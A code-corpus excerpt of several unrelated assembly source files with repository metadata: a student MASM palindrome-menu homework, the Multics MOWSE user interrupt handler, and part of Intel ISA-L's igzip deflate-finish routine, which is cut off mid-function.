mov byte [es:si+1], 0x04
add si, 2
inc dx
jmp .for_loop
.for_end:
pop es
popa
mov sp, bp
pop bp
ret 8
| 14.208333
| 33
| 0.531525
|
3b968961178165168c3c08bbd2b5b45b016b7b12
| 7,833
|
asm
|
Assembly
|
HW5/hwk5.asm
|
CodyKelly-UCD/CSCI-2525
|
08abef3fc374ed9e7eea6390cf3a94144989fd33
|
[
"MIT"
] | null | null | null |
HW5/hwk5.asm
|
CodyKelly-UCD/CSCI-2525
|
08abef3fc374ed9e7eea6390cf3a94144989fd33
|
[
"MIT"
] | null | null | null |
HW5/hwk5.asm
|
CodyKelly-UCD/CSCI-2525
|
08abef3fc374ed9e7eea6390cf3a94144989fd33
|
[
"MIT"
] | null | null | null |
TITLE inclassMENU.asm
; Author: Diane Yoha
; Date: 7 March 2018
; Description: This program presents a menu allowing the user to pick a menu option
; which then performs a given task.
; 1. The user enters a string of less than 50 characters.
; 2. The entered string is converted to lower case.
; 3. The entered string has all non - letter elements removed.
; 4. Is the entered string a palindrome (not case-sensitive).
; 5. Is the string a palindrome (case-sensitive).
; 6. Print the string.
; 7. Exit
; ====================================================================================
Include Irvine32.inc
;//Macros
ClearEAX textequ <mov eax, 0>
ClearEBX textequ <mov ebx, 0>
ClearECX textequ <mov ecx, 0>
ClearEDX textequ <mov edx, 0>
ClearESI textequ <mov esi, 0>
ClearEDI textequ <mov edi, 0>
maxLength = 51d
.data
UserOption byte 0h
theString byte maxLength dup(0)
theStringLen byte 0
errormessage byte 'You have entered an invalid option. Please try again.', 0Ah, 0Dh, 0h
.code
main PROC
call ClearRegisters ;// clears registers
startHere:
call DisplayMainMenu
call readhex
mov useroption, al
mov edx, offset theString
mov ecx, lengthof theString
mov ebx, offset thestringlen
opt1:
cmp useroption, 1
jne opt2
call clrscr
call option1
jmp starthere
opt2:
cmp useroption, 2
jne opt3
call clrscr
call option2
jmp starthere
opt3:
cmp useroption, 3
jne opt4
call clrscr
call option3
jmp starthere
opt4:
cmp useroption, 4
jne opt5
call clrscr
call option4
jmp starthere
opt5:
cmp useroption, 5
jne opt6
call clrscr
call option5
jmp starthere
opt6:
cmp useroption, 6
jne opt7
call clrscr
call option6
jmp starthere
opt7:
cmp useroption, 7
jne oops
jmp quitit
oops:
push edx
mov edx, offset errormessage
call writestring
call waitmsg
pop edx
jmp starthere
quitit:
exit
main ENDP
;// Procedures
;// ===============================================================
ClearRegisters Proc
;// Description: Clears the registers EAX, EBX, ECX, EDX, ESI, EDI
;// Requires: Nothing
;// Returns: Nothing, but all registers will be cleared.
cleareax
clearebx
clearecx
clearedx
clearesi
clearedi
ret
ClearRegisters ENDP
DisplayMainMenu proc
;// Description: Displays the main menu
;// Requires: Nothing
;// Returns: Nothing
.data
Menuprompt1 byte 'MAIN MENU', 0Ah, 0Dh,
'==========', 0Ah, 0Dh,
'1. Enter a String', 0Ah, 0Dh,
'2. Convert all elements to lower case',0Ah, 0Dh,
'3. Remove all non-letter elements',0Ah, 0Dh,
'4. Determine if the string is a palindrome (not case-sensitive)',0Ah, 0Dh,
'5. ', 0
Menuprompt2 byte 'EXTRA CREDIT', 0
Menuprompt3 byte ': Determine if the string is a palindrome (case-sensitive)', 0Ah, 0Dh,
'6. Display the string',0Ah, 0Dh,
'7. Exit: ',0Ah, 0Dh, 0h
.code
; Clear screen
call clrscr
; Display first part of main menu
mov edx, offset menuprompt1
call WriteString
; Display the words EXTRA CREDIT in gold
mov eax, 14
mov edx, offset menuprompt2
call SetTextColor
call WriteString
; Reset text color and display the rest of the menu
mov eax, 7
mov edx, offset menuprompt3
call settextcolor
call writestring
ret
DisplayMainMenu endp
option1 proc uses edx ecx
; Description: Receives a string from the user
;
; Receives:
; EDX: The offset of the byte array to store the string in.
; Must have 50 elements.
;
; Returns:
; EDX: string from user
; EBX: length of string
;
; Requires:
; Array must have 50 elements
.data
option1prompt byte 'Please enter a string of characters (50 or less): ', 0Ah, 0Dh, '--->', 0h
.code
push edx ; saving the address of the string
mov edx, offset option1prompt
call writestring
pop edx
; add procedure to clear string (loop through and place zeros)
call readstring
mov byte ptr [ebx], al ;//length of user entered string, now in thestringlen
ret
option1 endp
option2 proc uses edx ebx
; Description: Converts all uppercase letters in string to lowercase
;
; Receives:
; EDX: Offset of string array
; ECX: Length of string array
;
; Returns:
; EDX: String array with converted letters, if any
clearESI
L2:
mov al, byte ptr [edx+esi]
cmp al, 41h
jb keepgoing
cmp al, 5ah
ja keepgoing
or al, 20h ;//could use add al, 20h
mov byte ptr [edx+esi], al
keepgoing:
inc esi
loop L2
ret
option2 endp
option3 proc
; Description: Removes all non-letter characters from string
;
; Receives:
; EDX: offset of string array
;
; Returns:
; EDX: offset of string array
; EBX: new length of string
push eax
push esi
push edx
push ebx
clearESI
clearEAX
L1:
; Move current element into al
mov al, byte ptr [edx + esi]
; Test if current element is NOT a capital letter
cmp al, 41h
jb notLetter
cmp al, 5bh
jb letter
; If the element isn't a capital letter, it may be a lowercase letter
cmp al, 61h
jb notLetter
cmp al, 7bh
jb letter
cmp al, 75h
ja notletter
letter:
; If current element IS letter:
; Move element into element at ah
movzx ebx, ah
; Make current element 0
mov byte ptr [edx + esi], 0
; Move letter into new position
mov byte ptr [edx + ebx], al
; Increment ah so we get a new valid position
inc ah
jmp keepgoing
notLetter:
; If current element is NOT a letter:
; Make current element 0
mov byte ptr [edx + esi], 0
keepgoing:
inc esi
LOOP L1
complete:
pop ebx
mov byte ptr [ebx], ah ; Return length of string
pop edx
pop esi
pop eax
ret
option3 endp
option4 proc
; Description: Checks if a given string is a palindrome.
; To be a palindrome, the given string must read the same forwards as it
; does backwards. This means that a character at index n must be the same
; as the character at index (length of string - 1) - n, where n is less than or
; equal to (length of string) / 2.
;
; This is not a case-sensitive palindrome check
;
; Receives:
; EDX: Offset of string array
; EBX: Number of characters in string
.data
theStringUppercase byte maxLength dup(0)
.code
push esi
push eax
push ecx
; First we put the contents of the string received into
; theStringUppercase
clearESI
L1:
mov al, [edx + esi]
mov theStringUppercase[esi], al
inc esi
loop L1
; Then we convert the new string to uppercase
pop ecx
mov edx, OFFSET theStringUppercase
call option2
; Then we check the string for palindromeness
call option5
pop edx
pop esi
ret
option4 endp
option5 proc
; Description: Checks if a given string is a palindrome.
; To be a palindrome, the given string must read the same forwards as it
; does backwards. This means that a character at index n must be the same
; as the character at index (length of string - 1) - n, where n is less than or
; equal to (length of string) / 2.
;
; This is a case-sensitive palindrome check
;
; Receives:
; EDX: Offset of string array
; EBX: Number of characters in string
;
; Returns:
;
; Requires:
.data
palMsg byte "The string is a palindrome.",0
notPalMsg byte "The string is not a palindrome.",0
.code
push ebx
push esi
push eax
; ESI will hold the first index to compare
mov esi, 0
; EBX will hold the second
movzx ebx, byte ptr [ebx]
dec ebx
; We're going to loop through as many elements as there
; are in the string,
push ecx
mov ecx, ebx
; Loop through the string, comparing elements at front and back
L1:
mov al, byte ptr [edx + esi]
cmp al, byte ptr [edx + ebx]
jne notPalindrome
inc esi
dec ebx
cmp esi, ebx
jae palindrome ; If esi (first index) is greater than or equal to
; ebx (second index), we're done.
LOOP L1
palindrome:
; Write results to screen
push edx
mov edx, offset palMsg
call WriteString
call crlf
call waitmsg
jmp complete
notPalindrome:
push edx
mov edx, offset notPalMsg
call WriteString
call crlf
call waitmsg
complete:
pop edx
pop ecx
pop eax
pop esi
pop ebx
ret
option5 endp
option6 proc uses edx
.data
option5prompt byte 'The String is: ', 0h
.code
push edx
mov edx, offset option5prompt
call writestring
pop edx
call writestring
call crlf
call waitmsg
ret
option6 endp
END main
| 19.436725
| 93
| 0.726669
|
b394e9834b7377e742b3b60bfa32464bdff11378
| 15,751
|
asm
|
Assembly
|
library_dir_dir/system_library_unbundled/source/pc_mowse_.s.archive/user_int.asm
|
dancrossnyc/multics
|
dc291689edf955c660e57236da694630e2217151
|
[
"RSA-MD"
] | 65
|
2021-07-27T16:54:21.000Z
|
2022-03-30T17:50:19.000Z
|
library_dir_dir/system_library_unbundled/source/pc_mowse_.s.archive/user_int.asm
|
dancrossnyc/multics
|
dc291689edf955c660e57236da694630e2217151
|
[
"RSA-MD"
] | 1
|
2021-07-29T13:24:12.000Z
|
2021-07-29T13:28:22.000Z
|
library_dir_dir/system_library_unbundled/source/pc_mowse_.s.archive/user_int.asm
|
dancrossnyc/multics
|
dc291689edf955c660e57236da694630e2217151
|
[
"RSA-MD"
] | 4
|
2021-07-27T16:05:31.000Z
|
2021-12-30T08:38:51.000Z
|
; ***********************************************************
; * *
; * Copyright, (C) Honeywell Bull Inc., 1987 *
; * *
; * Copyright, (C) Honeywell Information Systems Inc., 1986 *
; * *
; ***********************************************************
; HISTORY COMMENTS:
; 1) change(86-01-03,Flegel), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Created.
; 2) change(86-04-13,Flegel), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Extracted send_message module.
; 3) change(86-05-07,Lee), approve(87-07-13,MCR7580), audit(87-07-13,Leskiw),
; install(87-08-07,MR12.1-1072):
; Added CREATE_INST, DESTROY_INST, FINDCAPNUM,
; and FINDCAPNAME handlers.
; 4) change(86-05-21,Westcott), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Support parameter copying.
; 5) change(86-08-12,Flegel), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Installed FG_BREAK and DISCONNECT.
; 6) change(86-08-27,Flegel), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Modifications to DISCONNECT.
; 7) change(86-09-02,Flegel), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Installed checks for packet mode mincaps.
; 8) chnage(86-09-27,ASmith): Installed SUSPEND handler.
; 9) change(86-10-18,ASmith), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Installed connect by name handler.
; 10) change(87-02-10,Flegel), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Changed tests for MOWSE active to check
; packetize_flag instead of packet_mode
; END HISTORY COMMENTS
page 55,132
.xlist
; /* : PROCEDURE FUNCTION (user_interrupt_handler):
;
; This is the MOWSE user interrupt handler. This deals with MOWSE requested
; functions.
; */
; /* : NOTES:
;
; Syntax:
; #include <dos.h> mov ah,<MOWSE FUNCTION>
; union REGS *inregs,outregs; int USERINTRPT
; inregs->h.al = <MOWSE FUNCTION>;
; int86(USERINTRPT,in,out);
;
; Input Arguments:
; ah - register determines MOWSE FUNCTION (input)
; si - address of parameter structure
; cx - length of parameter structure
;
; */
;
;/* : RETURNS:
; ax - return code appropriate to command called
;
; If data is required to be passed back, it would be preferrable for the
; generating interrupt to pass addresses as determined by the interrupt handler
; requested and to return only an error code in the AX register.
; */
; /* : NOTES
;
; Each case in this massive switch is primarily concerned with setting up
; the argument list to each of the handlers for that specific case. This may
; include moving data into and out of parameter structures.
; */
include dos.mac
include ws.mac
include ws_stack.mac
include ws_dcls.mac
include ws_error.mac
include wsmincap.mac
page
;**************************************************************
; MAIN
;**************************************************************
dseg
; Public Declarations
public user_interrupt_handler
; Data Declarations
endds
page
;**************************************************************
; MAIN
;**************************************************************
PGROUP GROUP PROG
PROG SEGMENT WORD PUBLIC 'PROG'
ASSUME CS:PGROUP
;--------- External Procedures -----------------------------------------------
extrn packetize_flag:word
extrn bgcount:word
extrn IN_SOFT:word
extrn setup_stack:near
extrn reset_stack:near
extrn send_terminal_data:near
extrn terminal_buffer_check:near
extrn snddat:near
extrn i_execom:near
extrn i_creins:near
extrn i_desins:near
extrn i_fndcnu:near
extrn i_fndcna:near
extrn i_execap:near
extrn i_getbgm:near
extrn i_putbgm:near
extrn i_sendbg:near
extrn i_reset:near
extrn i_sleep:near
extrn i_suspnd:near
extrn i_connect:near
extrn terminate_mowse:near
extrn toggle_debug_switches:near
extrn snddis:near
extrn sndbrk:near
extrn line_break:near
;------ publics --------------------------------------------------------------
public uisystem
user_interrupt_handler proc near
jmp arounds ; provide a signiture for MOWSE
even
uisystem db 0
db 'MOWSE',0
; /* : call setup_stack () */
arounds:
inc CS:IN_SOFT
call setup_stack ;Set up user interrupt stack frame
push bp
; /* : copy parameters from caller's address space into MOWSE address space */
or cx,cx
jbe nocopy ; if no parameter to copy
push ds
pop es
mov si,sireg[bp]
lea di,wsparm[bp]
mov ds,dsreg[bp]
rep movsb ; copy string into this address space
push es
pop ds
; /* : switch (user call type) */
nocopy:
xor cx,cx ; requested MOWSE function:
mov cl,ah ; switch (ah)
sal cx,1
mov di,cx
cmp di,MAXJMP ; ensure request is valid
jbe do_jump ; if request not valid
jmp end_int
do_jump:
mov cx,CS:JMPTBL[di]
jmp cx
; /* : -- case SENDMESSAGE: not used */
SENDMESS:
jmp end_int
; /* : SENDTERM: Not used */
SENDTERM:
jmp end_int
; /* : -- case EXECUTCOM: */
EXECUTCOM:
push bp ; save bp
lea di,wsparm[bp] ; di -> the parameter structure
mov bp,sp ; save SP so we can put it back after the C
push di ; put the parameter pointer on the stack (arg)
call i_execom ; call the procedure
mov sp,bp ; restore the stack position
pop bp ; restore BP
jmp copy_back ; copy resutls back into callers space
; /* : -- case 3: EXECAP */
EXECAP:
push bp
lea di,wsparm[bp]
mov cx,cxreg[bp]
mov bp,sp
push cx
push di
call i_execap
mov sp,bp
pop bp
jmp copy_back
; /* : -- case 4: CREATE_INSTANCE */
CREATE_INST:
push bp
lea di,wsparm[bp]
mov ax,bp
mov bp,sp
push di ; push address of copy of caller's mcb
push ax ; push address of stack
call i_creins
mov sp,bp
pop bp
jmp copy_back
; /* : -- case 5: DESTROY_INSTANCE */
DESTROY_INST:
push bp
lea di,wsparm[bp]
mov bp,sp
push di
call i_desins
mov sp,bp
pop bp
jmp copy_back
; /* : -- case 6: FINDCAPNAME */
FINDCAPNAME:
push bp
lea di,wsparm[bp]
mov bp,sp
push di
call i_fndcna
mov sp,bp
pop bp
jmp copy_back
; /* : -- case 7: FINDCAPNUM */
FINDCAPNUM:
push bp
lea di,wsparm[bp]
mov bp,sp
push di
call i_fndcnu
mov sp,bp
pop bp
jmp copy_back
; /* : -- case 8: Debug packet switches - undocumented */
L08:
mov ax,wsparm[bp]
push bp
push ax
call toggle_debug_switches
pop bp
jmp copy_back
; /* : -- case GETTDATA: Get data from terminal buffer */
GETTDATA:
lea bx,wsparm[bp]
mov cx,bgcount ; see if background messages are pending
mov gbpflag[bx],cx
mov di,getlbp[bx] ;di = address of caller's buffer
mov cx,getlbs[bx] ;cx = size of caller's buffer
push es
mov es,dsreg[bp]
push bp ;check for foreground data
call terminal_buffer_check
pop bp
pop es
cmp cx,0 ;if no data then check the mode flag
jne data_ready
test packetize_flag,1 ;if clear, then set minor cap to mowse_detached
jne set_attached ;else set minor to mowse_attached
mov ax,MOWSE_DETACHED
jmp data_ready
set_attached:
mov ax,MOWSE_ATTACHED
data_ready:
mov gmincap[bx],ax
mov ax,cx ;return number of chars obtained to caller
mov cx,gettlen
jmp copy_back
; /* : -- case PUTTDATA : Send data over foreground channel */
PUTDATA:
lea bx,wsparm[bp]
test packetize_flag,1
jz nopkt
; /* : --- if in packet mode create send packet structure for snddat */
mov ax,minor_cap[bx]
lea si,pkthdr[bp]
mov [si],al ; insert minor cap in packet header
mov datap[bp],si ; insert pointer to packet header
mov datal[bp],1 ; insert length of packet header
lea si,puttstr[bx]
mov datap+2[bp],si ; insert pointer to data string
mov ax,putstrl[bx]
mov datal+2[bp],ax ; insert length of data string
mov datac[bp],2 ; insert count of packet pieces
mov chan[bp],FG ; insert channel id (foreground)
lea bx,chan[bp]
; /* : --- give the packet to the protocol to send */
jmp send_pkt ; give data to protocol
; /* : -- else, just transmit the data */
nopkt:
push bp
mov cx,putstrl[bx]
lea si,puttstr[bx]
mov bp,sp
call send_terminal_data
mov sp,bp
pop bp
jmp end_int
; /* : -- case GETBGMES: */
GETBGMES:
push bp
lea di,wsparm[bp]
mov bp,sp
push di ; push address of parameter structure
call i_getbgm ; get background message
mov sp,bp
pop bp
jmp copy_back
; /* : -- case PUTBGMES: */
PUTBGMES:
push bp
lea di,wsparm[bp]
mov bp,sp
push di ; push address of parameter structure
call i_putbgm ; put background message
mov sp,bp
pop bp
jmp copy_back
; /* : -- case SENDBG: */
SENDBG:
push bp
lea di,wsparm[bp]
mov cx,cxreg[bp]
mov bp,sp
push cx ; push length of message
push di ; push address of message
call i_sendbg
mov sp,bp
pop bp
jmp copy_back
; /* : -- case L14: Nothing */
L14:
mov bx,wsparm[bp]
mov ax,[bx]
jmp end_int
; /* : -- case RESET: */
RESET:
push bp
lea di,wsparm[bp]
mov cx,cxreg[bp]
mov bp,sp
push cx ; push length of message
push di
call i_reset
mov sp,bp
pop bp
jmp copy_back
; /* : -- case SLEEP */
SLEEP:
push bp
lea di,wsparm[bp]
mov bp,sp
push di
call i_sleep
mov sp,bp
pop bp
jmp copy_back
SUSPEND:
push bp
lea di,wsparm[bp]
mov bp,sp
push di
call i_suspnd
mov sp,bp
pop bp
jmp copy_back
CONNECT:
push bp
lea di,wsparm[bp]
mov bp,sp
push di
call i_connect
mov sp,bp
pop bp
jmp copy_back
; /* : -- case DISCONNECT */
DISCONNECT:
test wsparm[bp],1 ; but if force is requested, continue
jne discon_ok
test packetize_flag,1 ; if in packet mode then fail
je discon_ok
push bp
mov bp,sp
call snddis ; establish disconnection attempt
mov sp,bp
pop bp
jmp copy_back
discon_ok:
push bp
mov bp,sp
call terminate_mowse ; remove mowse from the PC
mov sp,bp
pop bp
jmp copy_back
; /* : -- case FOREBREAK: */
FOREBREAK:
xor ax,ax
test packetize_flag,1 ; Packet mode ?
jne soft_brk ; YES - Protocol break
call line_break ; NO - Line break
jmp copy_back
soft_brk:
push bp
mov bp,sp
call sndbrk ; call to send break to Multics
mov sp,bp
pop bp
jmp copy_back
; /* : send_pkt : give a packet structure to the mowse protocol for packetizing
; and subsequent trasmission */
send_pkt:
push bp
lea si,datap[bp]
lea di,datal[bp]
mov ax,chan[bp]
mov cx,datac[bp]
mov bp,sp
push di
push si
push cx
push ax
call snddat ; send the packet to the protocol
mov sp,bp
pop bp
cmp ax,1
je send_pkt ; if window full, try again
mov axreg[bp],ax ; save return code
jmp end_int
; /* : COPY_BACK: copy parameter structure back to user's address space before
; returning from interrupt. */
copy_back:
mov axreg[bp],ax ; save return code
mov cx,cxreg[bp]
or cx,cx
jbe end_int ; if no parameter to copy
mov di,sireg[bp]
lea si,wsparm[bp]
mov es,dsreg[bp]
rep movsb ; copy string into this address space
; /* : End of interrupt: call reset_stack(), return from interrupt */
end_int:
pop bp ; Put the stack to where it was
call reset_stack ; before the interrupt
dec CS:IN_SOFT
iret
; Switching Table
JMPTBL dw pgroup:SENDMESS
dw pgroup:SENDTERM
dw pgroup:EXECUTCOM
dw pgroup:EXECAP
dw pgroup:CREATE_INST
dw pgroup:DESTROY_INST
dw pgroup:FINDCAPNAME
dw pgroup:FINDCAPNUM
dw pgroup:L08
dw pgroup:GETTDATA
dw pgroup:PUTDATA
dw pgroup:GETBGMES
dw pgroup:PUTBGMES
dw pgroup:SENDBG
dw pgroup:L14
dw pgroup:RESET
dw pgroup:SLEEP
dw pgroup:DISCONNECT
dw pgroup:FOREBREAK
dw pgroup:SUSPEND
dw pgroup:CONNECT
JMP_END dw 0
MAXJMP = JMP_END - JMPTBL
; /* : END user_interrupt_handler */
user_interrupt_handler endp
endps
end
| 28.076649
| 86
| 0.495588
|
e8d5e36049462e67ab78fa13678f2357fbfcf008
| 8,895
|
asm
|
Assembly
|
igzip/igzip_finish.asm
|
tsg-/ceph-isa-l
|
7e1a337433a340bc0974ed0f04301bdaca374af6
|
[
"BSD-3-Clause"
] | null | null | null |
igzip/igzip_finish.asm
|
tsg-/ceph-isa-l
|
7e1a337433a340bc0974ed0f04301bdaca374af6
|
[
"BSD-3-Clause"
] | null | null | null |
igzip/igzip_finish.asm
|
tsg-/ceph-isa-l
|
7e1a337433a340bc0974ed0f04301bdaca374af6
|
[
"BSD-3-Clause"
] | null | null | null |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "options.asm"
%include "lz0a_const.asm"
%include "data_struct2.asm"
%include "bitbuf2.asm"
%include "huffman.asm"
%include "igzip_compare_types.asm"
%include "stdmac.asm"
%include "reg_sizes.asm"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%define curr_data rax
%define tmp1 rax
%define f_index rbx
%define code rbx
%define tmp4 rbx
%define tmp5 rbx
%define tmp6 rbx
%define tmp2 rcx
%define hash rcx
%define tmp3 rdx
%define stream rsi
%define f_i rdi
%define code_len2 rbp
%define m_out_buf r8
%define m_bits r9
%define dist r10
%define m_bit_count r11
%define code2 r12
%define f_end_i r12
%define file_start r13
%define len r14
%define hufftables r15
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
f_end_i_mem_offset equ 0 ; local variable (8 bytes)
stack_size equ 8
; void isal_deflate_finish ( isal_zstream *stream )
; arg 1: rcx: addr of stream
global isal_deflate_finish_01
isal_deflate_finish_01:
PUSH_ALL rbx, rsi, rdi, rbp, r12, r13, r14, r15
sub rsp, stack_size
%ifidn __OUTPUT_FORMAT__, elf64
mov rcx, rdi
%endif
mov stream, rcx
; state->bitbuf.set_buf(stream->next_out, stream->avail_out);
mov m_out_buf, [stream + _next_out]
mov [stream + _internal_state_bitbuf_m_out_start], m_out_buf
mov tmp1 %+ d, [stream + _avail_out]
add tmp1, m_out_buf
sub tmp1, SLOP
skip_SLOP:
mov [stream + _internal_state_bitbuf_m_out_end], tmp1
mov m_bits, [stream + _internal_state_bitbuf_m_bits]
mov m_bit_count %+ d, [stream + _internal_state_bitbuf_m_bit_count]
mov hufftables, [stream + _hufftables]
mov file_start, [stream + _next_in]
mov f_i %+ d, dword [stream + _total_in]
sub file_start, f_i
mov f_end_i %+ d, dword [stream + _avail_in]
add f_end_i, f_i
sub f_end_i, LAST_BYTES_COUNT
mov [rsp + f_end_i_mem_offset], f_end_i
; for (f_i = f_start_i; f_i < f_end_i; f_i++) {
cmp f_i, f_end_i
jge end_loop_2
mov curr_data %+ d, [file_start + f_i]
cmp dword [stream + _internal_state_has_hist], 0
jne skip_write_first_byte
cmp m_out_buf, [stream + _internal_state_bitbuf_m_out_end]
ja end_loop_2
compute_hash hash, curr_data
and hash %+ d, HASH_MASK
mov [stream + _internal_state_head + 2 * hash], f_i %+ w
mov dword [stream + _internal_state_has_hist], 1
jmp encode_literal
skip_write_first_byte:
loop2:
; if (state->bitbuf.is_full()) {
cmp m_out_buf, [stream + _internal_state_bitbuf_m_out_end]
ja end_loop_2
; hash = compute_hash(state->file_start + f_i) & HASH_MASK;
mov curr_data %+ d, [file_start + f_i]
compute_hash hash, curr_data
and hash %+ d, HASH_MASK
; f_index = state->head[hash];
movzx f_index %+ d, word [stream + _internal_state_head + 2 * hash]
; state->head[hash] = (uint16_t) f_i;
mov [stream + _internal_state_head + 2 * hash], f_i %+ w
; dist = f_i - f_index; // mod 64k
mov dist %+ d, f_i %+ d
sub dist %+ d, f_index %+ d
and dist %+ d, 0xFFFF
; if ((dist-1) <= (D-1)) {
mov tmp1 %+ d, dist %+ d
sub tmp1 %+ d, 1
cmp tmp1 %+ d, (D-1)
jae encode_literal
; len = f_end_i - f_i;
mov tmp4, [rsp + f_end_i_mem_offset]
sub tmp4, f_i
add tmp4, LAST_BYTES_COUNT
; if (len > 258) len = 258;
cmp tmp4, 258
cmovg tmp4, [c258]
; len = compare(state->file_start + f_i,
; state->file_start + f_i - dist, len);
lea tmp1, [file_start + f_i]
mov tmp2, tmp1
sub tmp2, dist
compare tmp4, tmp1, tmp2, len, tmp3
; if (len >= SHORTEST_MATCH) {
cmp len, SHORTEST_MATCH
jb encode_literal
;; encode as dist/len
; get_dist_code(dist, &code2, &code_len2);
dec dist
get_dist_code dist, code2, code_len2, hufftables ;; clobbers dist, rcx
; get_len_code(len, &code, &code_len);
get_len_code len, code, rcx, hufftables ;; rcx is code_len
; code2 <<= code_len
; code2 |= code
; code_len2 += code_len
SHLX code2, code2, rcx
or code2, code
add code_len2, rcx
; for (k = f_i+1, f_i += len-1; k <= f_i; k++) {
lea tmp3, [f_i + 1] ; tmp3 <= k
add f_i, len
cmp f_i, [rsp + f_end_i_mem_offset]
jae skip_hash_update
; only update hash twice
; hash = compute_hash(state->file_start + k) & HASH_MASK;
mov tmp6 %+ d, dword [file_start + tmp3]
compute_hash hash, tmp6
and hash %+ d, HASH_MASK
; state->head[hash] = k;
mov [stream + _internal_state_head + 2 * hash], tmp3 %+ w
add tmp3, 1
; hash = compute_hash(state->file_start + k) & HASH_MASK;
mov tmp6 %+ d, dword [file_start + tmp3]
compute_hash hash, tmp6
and hash %+ d, HASH_MASK
; state->head[hash] = k;
mov [stream + _internal_state_head + 2 * hash], tmp3 %+ w
skip_hash_update:
write_bits m_bits, m_bit_count, code2, code_len2, m_out_buf, tmp5
; continue
cmp f_i, [rsp + f_end_i_mem_offset]
jl loop2
jmp end_loop_2
encode_literal:
; get_lit_code(state->file_start[f_i], &code2, &code_len2);
movzx tmp5, byte [file_start + f_i]
get_lit_code tmp5, code2, code_len2, hufftables
write_bits m_bits, m_bit_count, code2, code_len2, m_out_buf, tmp5
; continue
add f_i, 1
cmp f_i, [rsp + f_end_i_mem_offset]
jl loop2
end_loop_2:
mov f_end_i, [rsp + f_end_i_mem_offset]
add f_end_i, LAST_BYTES_COUNT
mov [rsp + f_end_i_mem_offset], f_end_i
; if ((f_i >= f_end_i) && ! state->bitbuf.is_full()) {
cmp f_i, f_end_i
jge write_eob
xor tmp5, tmp5
final_bytes:
cmp m_out_buf, [stream + _internal_state_bitbuf_m_out_end]
ja not_end
movzx tmp5, byte [file_start + f_i]
get_lit_code tmp5, code2, code_len2, hufftables
write_bits m_bits, m_bit_count, code2, code_len2, m_out_buf, tmp3
inc f_i
cmp f_i, [rsp + f_end_i_mem_offset]
jl final_bytes
write_eob:
cmp m_out_buf, [stream + _internal_state_bitbuf_m_out_end]
ja not_end
; get_lit_code(256, &code2, &code_len2);
get_lit_code 256, code2, code_len2, hufftables
write_bits m_bits, m_bit_count, code2, code_len2, m_out_buf, tmp1
mov dword [stream + _internal_state_has_eob], 1
cmp dword [stream + _end_of_stream], 1
jne sync_flush
; state->state = ZSTATE_TRL;
mov dword [stream + _internal_state_state], ZSTATE_TRL
jmp not_end
sync_flush:
; state->state = ZSTATE_SYNC_FLUSH;
mov dword [stream + _internal_state_state], ZSTATE_SYNC_FLUSH
; }
not_end:
;; Update input buffer
mov f_end_i, [rsp + f_end_i_mem_offset]
mov [stream + _total_in], f_i %+ d
add file_start, f_i
mov [stream + _next_in], file_start
sub f_end_i, f_i
mov [stream + _avail_in], f_end_i %+ d
;; Update output buffer
mov [stream + _next_out], m_out_buf
; len = state->bitbuf.buffer_used();
sub m_out_buf, [stream + _internal_state_bitbuf_m_out_start]
; stream->avail_out -= len;
sub [stream + _avail_out], m_out_buf %+ d
; stream->total_out += len;
